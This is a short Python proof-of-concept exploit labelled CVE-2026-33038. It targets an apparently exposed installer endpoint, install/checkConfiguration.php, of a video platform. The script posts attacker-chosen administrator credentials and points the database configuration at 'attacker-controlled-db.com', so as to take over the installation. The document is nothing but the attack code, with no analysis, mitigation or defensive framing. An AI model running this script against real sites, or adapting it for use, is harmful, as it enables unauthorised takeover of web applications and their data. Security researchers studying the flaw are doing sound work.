CVE-2026-33038

import requests # Target URL of the vulnerable endpoint target_url = "http://target.com/install/checkConfiguration.php" # Attacker controlled payload for installation # This data includes the admin credentials and database configuration payload = { "adminName": "hacker", "adminPass": "StrongHackerPass123!", "adminPassConfirm": "StrongHackerPass123!", "host": "attacker-controlled-db.com", "user": "dbuser", "pass": "dbpass", "dbname": "avideo_db", "createDb": 1 } try: # Send POST request to trigger the installation response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Successfully sent installation payload.") print("[+] Check if the configuration file was created and admin account was set.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

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